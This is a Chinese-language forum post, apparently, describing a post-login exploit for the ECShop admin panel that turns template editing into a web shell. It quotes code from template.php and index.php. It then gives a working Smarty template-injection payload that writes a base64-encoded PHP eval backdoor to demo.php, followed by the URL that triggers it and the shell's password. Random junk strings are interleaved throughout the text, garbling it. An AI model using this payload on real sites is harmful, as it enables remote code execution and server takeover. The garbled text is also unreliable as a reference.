Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
% @( ^( [0 q- e8 d& L, G7 S  k
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

1 if ($_REQUEST['act'] == 'update_library')
# ^, v  V/ S7 H1 E
2   

3 {

4     check_authz_json('library_manage');

5   

6     $html = stripslashes(json_str_iconv($_POST['html']));

6 ]( N% h( N* P& n7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
/ p' g  t% r: p
6 ]; F1 m3 O# b/ f( j9   
1 E  w" E7 W) U0 Y
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

( x1 Y6 h- S2 @' a9 b12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

" l* N5 R& s8 k) b' }0 F13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
- ^- X& l' I7 `: z
15     {
( d3 j. Y4 @) y
9 M  k0 k. g, o+ E16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
1 z: E* t8 j% N1 W# c, Q7 C
& ?  D' W5 G, m- A) Q. |4 p17         make_json_result('', $_LANG['update_lib_success']);
% r( i. R9 i9 m/ p
5 D0 F' V+ ~' `18     }
7 N7 s- [9 ?# P
: N7 d8 I$ Y! W19     else
( l+ L) n% ]2 F+ g% S! h! N! x
" R5 _/ b) W$ X! J# f" k8 L20     {

. C% i% v+ n. A' p21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }
$ F1 F! s0 W  V0 I
23 }

. i& T" q7 D( \3 w8 E0 X8 d那么找个比较方便调用了模板的文件
index.php
' D# a4 }2 N% L- L2 v+ A
1 if ($act == 'cat_rec')
' z4 L' z$ T: K; G' H4 F  _! b
! L; F0 _3 M! ]# t3 Q4 [7 n* C6 g4 {2   
; ~8 X/ ~8 G. D6 ?$ _9 \7 q9 q
4 E' J* U9 R  w* I. c3 {
% @1 P: h1 N5 |- u
' n. F' T. T* t' z; ]0 q# j4   
! S+ q1 ~, V! e
7 x0 z8 @8 U+ S4 L" D6 y5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
- C7 H( h* Z. e* t9 ~9 ]2 G9 g1 B
6   

7 h- f$ W, X( T( N$ J7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

& ]9 ~3 c& U2 \9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
) L; |& a/ C9 S# a/ {+ \
11     include_once('includes/cls_json.php');
$ v+ e3 n+ T) Z5 t2 W( _& \* V
; n2 ^- l; B0 L12   

) P2 P3 ?" F% _7 N( r% d' a13     $json = new JSON;
1 B" s: @# S' d7 |
4 S1 m0 c9 ?- o& l3 `) J$ ]14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
% l- r' k8 G  [4 \( v& P% j
17     $children = get_children($cat_id);

4 S7 x9 @0 T+ I- j9 r: u) R18   
# ]2 q3 p# W- Y) J4 I
; p5 n( v" E6 d; F: k0 D( i8 ?19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
# h9 m! {) g+ f$ |8 Z/ A* R
20   

21     $smarty->assign('cat_rec_sign', 1);

22   
  }" p+ t3 ^; S7 j4 L0 A
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
7 ~6 s& `  u. a3 o
" o1 g/ S& k0 |$ R25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

' u1 S* g3 U) t# h1 G2 P27         echo $rec_array[$rec_type];
  ~, j( C* R: v, T
28   
5 {3 s2 d& Z5 P$ i8 B, ?  ?7 s
# Y3 w  K6 e/ S# A' \+ m5 N/ r29     die($json->encode($result));

30   

/ R% C5 X: A3 [5 p/ F31 }
5 {+ E3 U# @' P5 |" M, L$ g. T, l" c
2 w' y  B3 d+ y5 Y那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
. ?* s& |: q# G% L! ~
​
8 m: u2 Q( l$ i' `& t1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
2 k) R) O( C" w  e- F- _
然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
密码c

6 Z" N1 ]. z! t+ q% k3 Y& ~$ h1 W